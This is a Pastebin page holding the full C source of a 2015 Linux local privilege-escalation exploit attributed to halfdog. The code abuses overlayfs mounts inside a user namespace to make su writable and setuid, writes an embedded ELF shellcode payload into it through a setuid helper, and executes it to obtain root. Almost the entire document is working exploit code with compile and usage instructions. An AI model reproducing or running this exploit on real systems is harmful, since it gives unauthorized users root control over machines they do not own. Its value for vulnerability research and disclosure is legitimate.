Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- /** This software is provided by the copyright owner "as is" and any
- * expressed or implied warranties, including, but not limited to,
- * the implied warranties of merchantability and fitness for a particular
- * purpose are disclaimed. In no event shall the copyright owner be
- * liable for any direct, indirect, incidential, special, exemplary or
- * consequential damages, including, but not limited to, procurement
- * of substitute goods or services, loss of use, data or profits or
- * business interruption, however caused and on any theory of liability,
- * whether in contract, strict liability, or tort, including negligence
- * or otherwise, arising in any way out of the use of this software,
- * even if advised of the possibility of such damage.
- *
- * Copyright (c) 2015 halfdog <me (%) halfdog.net>
- *
- * This program demonstrates how to escalate privileges using
- * an overlayfs mount within a user namespace. See
- * http://www.halfdog.net/Security/2015/UserNamespaceOverlayfsSetuidWriteExec/
- * for more information.
- *
- * gcc -o UserNamespaceOverlayfsSetuidWriteExec UserNamespaceOverlayfsSetuidWriteExec.c
- *
- * Usage: UserNamespaceOverlayfsSetuidWriteExec -- [program] [args]
- *
- */
- #define _GNU_SOURCE
- #include <errno.h>
- #include <fcntl.h>
- #include <sched.h>
- #include <sys/stat.h>
- #include <stdio.h>
- #include <stdlib.h>
- #include <string.h>
- #include <sys/mount.h>
- #include <sys/resource.h>
- #include <sys/wait.h>
- #include <unistd.h>
- extern char **environ;
- static int childFunc(void *arg) {
- fprintf(stderr, "euid: %d, egid: %d\n", geteuid(), getegid());
- while(geteuid()!=0) {
- usleep(100);
- }
- fprintf(stderr, "euid: %d, egid: %d\n", geteuid(), getegid());
- int result=mount("overlayfs", "/tmp/x/bin", "overlayfs", MS_MGC_VAL, "lowerdir=/bin,upperdir=/tmp/x/over,workdir=/tmp/x/bin");
- if(result) {
- fprintf(stderr, "Overlay mounting failed: %d (%s)\n", errno, strerror(errno));
- return(1);
- }
- chdir("/tmp/x/bin");
- result=chmod("su", 04777);
- if(result) {
- fprintf(stderr, "Mode change failed\n");
- return(1);
- }
- fprintf(stderr, "Namespace helper waiting for modification completion\n");
- struct stat statBuf;
- char checkPath[128];
- sprintf(checkPath, "/proc/%d", getppid());
- while(1) {
- usleep(100);
- result=stat(checkPath, &statBuf);
- if(result) {
- fprintf(stderr, "Namespacer helper: parent terminated\n");
- break;
- }
- // Wait until parent has escalated.
- if(statBuf.st_uid) break;
- }
- chdir("/");
- umount("/tmp/x/bin");
- unlink("/tmp/x/over/su");
- rmdir("/tmp/x/over");
- rmdir("/tmp/x/bin/work");
- rmdir("/tmp/x/bin");
- rmdir("/tmp/x/");
- fprintf(stderr, "Namespace part completed\n");
- return(0);
- }
- #define STACK_SIZE (1024 * 1024)
- static char child_stack[STACK_SIZE];
- int main(int argc, char *argv[]) {
- int argPos;
- int result;
- char *targetSuidPath="/bin/su";
- char *helperSuidPath="/bin/mount";
- for(argPos=1; argPos<argc; argPos++) {
- char *argName=argv[argPos];
- if(!strcmp(argName, "--")) {
- argPos++;
- break;
- }
- if(strncmp(argName, "--", 2)) {
- break;
- }
- fprintf(stderr, "%s: unknown argument %s\n", argv[0], argName);
- exit(1);
- }
- mkdir("/tmp/x", 0700);
- mkdir("/tmp/x/bin", 0700);
- mkdir("/tmp/x/over", 0700);
- // Create child; child commences execution in childFunc()
- // CLONE_NEWNS: new mount namespace
- // CLONE_NEWPID
- // CLONE_NEWUTS
- pid_t pid=clone(childFunc, child_stack+STACK_SIZE,
- CLONE_NEWUSER|CLONE_NEWNS|SIGCHLD, argv+argPos);
- if(pid==-1) {
- fprintf(stderr, "Clone failed: %d (%s)\n", errno, strerror(errno));
- return(1);
- }
- char idMapFileName[128];
- char idMapData[128];
- sprintf(idMapFileName, "/proc/%d/setgroups", pid);
- int setGroupsFd=open(idMapFileName, O_WRONLY);
- if(setGroupsFd<0) {
- fprintf(stderr, "Failed to open setgroups\n");
- return(1);
- }
- result=write(setGroupsFd, "deny", 4);
- if(result<0) {
- fprintf(stderr, "Failed to disable setgroups\n");
- return(1);
- }
- close(setGroupsFd);
- sprintf(idMapFileName, "/proc/%d/uid_map", pid);
- fprintf(stderr, "Setting uid map in %s\n", idMapFileName);
- int uidMapFd=open(idMapFileName, O_WRONLY);
- if(uidMapFd<0) {
- fprintf(stderr, "Failed to open uid map\n");
- return(1);
- }
- sprintf(idMapData, "0 %d 1\n", getuid());
- result=write(uidMapFd, idMapData, strlen(idMapData));
- if(result<0) {
- fprintf(stderr, "UID map write failed: %d (%s)\n", errno, strerror(errno));
- return(1);
- }
- close(uidMapFd);
- sprintf(idMapFileName, "/proc/%d/gid_map", pid);
- fprintf(stderr, "Setting gid map in %s\n", idMapFileName);
- int gidMapFd=open(idMapFileName, O_WRONLY);
- if(gidMapFd<0) {
- fprintf(stderr, "Failed to open gid map\n");
- return(1);
- }
- sprintf(idMapData, "0 %d 1\n", getgid());
- result=write(gidMapFd, idMapData, strlen(idMapData));
- if(result<0) {
- fprintf(stderr, "GID map write failed: %d (%s)\n", errno, strerror(errno));
- return(1);
- }
- close(gidMapFd);
- // Wait until /tmp/x/over/su exists
- struct stat statBuf;
- while(1) {
- usleep(100);
- result=stat("/tmp/x/over/su", &statBuf);
- if(!result) break;
- }
- // Overwrite the file
- sprintf(idMapFileName, "/proc/%d/cwd/su", pid);
- // No slashes allowed, everything else is OK.
- char suidExecMinimalElf[] = {
- 0x7f, 0x45, 0x4c, 0x46, 0x01, 0x01, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00,
- 0x00, 0x00, 0x00, 0x00, 0x02, 0x00, 0x03, 0x00, 0x01, 0x00, 0x00, 0x00,
- 0x80, 0x80, 0x04, 0x08, 0x34, 0x00, 0x00, 0x00, 0xf8, 0x00, 0x00, 0x00,
- 0x00, 0x00, 0x00, 0x00, 0x34, 0x00, 0x20, 0x00, 0x02, 0x00, 0x28, 0x00,
- 0x05, 0x00, 0x04, 0x00, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
- 0x00, 0x80, 0x04, 0x08, 0x00, 0x80, 0x04, 0x08, 0xa2, 0x00, 0x00, 0x00,
- 0xa2, 0x00, 0x00, 0x00, 0x05, 0x00, 0x00, 0x00, 0x00, 0x10, 0x00, 0x00,
- 0x01, 0x00, 0x00, 0x00, 0xa4, 0x00, 0x00, 0x00, 0xa4, 0x90, 0x04, 0x08,
- 0xa4, 0x90, 0x04, 0x08, 0x09, 0x00, 0x00, 0x00, 0x09, 0x00, 0x00, 0x00,
- 0x06, 0x00, 0x00, 0x00, 0x00, 0x10, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
- 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x31, 0xc0, 0x89, 0xc8,
- 0x89, 0xd0, 0x89, 0xd8, 0x04, 0xd2, 0xcd, 0x80,
- 0x31, 0xc0, 0x04, 0xd0, 0xcd, 0x80,
- 0x31, 0xc0, 0x89, 0xd0,
- 0xb0, 0x0b, 0x89, 0xe1, 0x83, 0xc1, 0x08, 0x8b, 0x19, 0xcd, 0x80
- };
- char *helperArgs[]={"/bin/mount", NULL};
- int destFd=open(idMapFileName, O_RDWR|O_CREAT|O_TRUNC, 07777);
- if(destFd<0) {
- fprintf(stderr, "Failed to open %s, error %s\n", idMapFileName, strerror(errno));
- return(1);
- }
- char *suidWriteNext=suidExecMinimalElf;
- char *suidWriteEnd=suidExecMinimalElf+sizeof(suidExecMinimalElf);
- while(suidWriteNext!=suidWriteEnd) {
- char *suidWriteTestPos=suidWriteNext;
- while((!*suidWriteTestPos)&&(suidWriteTestPos!=suidWriteEnd))
- suidWriteTestPos++;
- // We cannot write any 0-bytes. So let seek fill up the file wihh
- // null-bytes for us.
- lseek(destFd, suidWriteTestPos-suidExecMinimalElf, SEEK_SET);
- suidWriteNext=suidWriteTestPos;
- while((*suidWriteTestPos)&&(suidWriteTestPos!=suidWriteEnd))
- suidWriteTestPos++;
- pid_t helperPid=fork();
- if(!helperPid) {
- struct rlimit limits;
- // We can't truncate, that would remove the setgid property of
- // the file. So make sure the SUID binary does not write too much.
- limits.rlim_cur=suidWriteTestPos-suidExecMinimalElf;
- limits.rlim_max=limits.rlim_cur;
- setrlimit(RLIMIT_FSIZE, &limits);
- // Do not rely on some SUID binary to print out the unmodified
- // program name, some OSes might have hardening against that.
- // Let the ld-loader will do that for us.
- limits.rlim_cur=1<<22;
- limits.rlim_max=limits.rlim_cur;
- result=setrlimit(RLIMIT_AS, &limits);
- dup2(destFd, 1);
- dup2(destFd, 2);
- helperArgs[0]=suidWriteNext;
- execve(helperSuidPath, helperArgs, NULL);
- fprintf(stderr, "Exec failed\n");
- return(1);
- }
- waitpid(helperPid, NULL, 0);
- suidWriteNext=suidWriteTestPos;
- }
- close(destFd);
- execve(idMapFileName, argv+argPos-1, NULL);
- fprintf(stderr, "Failed to execute %s: %d (%s)\n", idMapFileName,
- errno, strerror(errno));
- return(1);
- }
Add Comment
Please, Sign In to add comment